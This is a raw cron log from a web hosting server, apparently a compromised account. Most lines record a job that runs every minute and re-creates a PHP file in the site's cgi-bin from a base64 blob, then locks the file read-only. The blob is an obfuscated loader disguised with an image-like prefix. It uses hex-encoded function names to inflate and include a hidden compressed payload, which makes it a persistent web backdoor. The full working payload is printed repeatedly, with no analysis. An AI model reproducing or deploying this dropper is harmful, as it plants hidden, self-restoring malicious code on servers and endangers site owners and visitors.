Nov 11 15:43:01 server CROND[10480]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 15:44:01 server CROND[11360]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 15:45:01 server CROND[12196]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 15:45:01 server CROND[12197]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 15:45:01 server CROND[12198]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 15:46:01 server CROND[13144]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 15:47:01 server CROND[13969]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 15:48:01 server CROND[14764]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 15:49:01 server CROND[15589]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 15:50:01 server CROND[16424]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 11 15:50:01 server CROND[16430]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 15:50:01 server CROND[16427]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 15:50:01 server CROND[16429]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 15:50:01 server CROND[16428]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 11 15:51:01 server CROND[17312]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 15:52:01 server CROND[18242]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 15:53:01 server CROND[19065]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 15:54:01 server CROND[19895]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 15:55:01 server CROND[20716]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 15:55:01 server CROND[20717]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 15:55:01 server CROND[20722]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
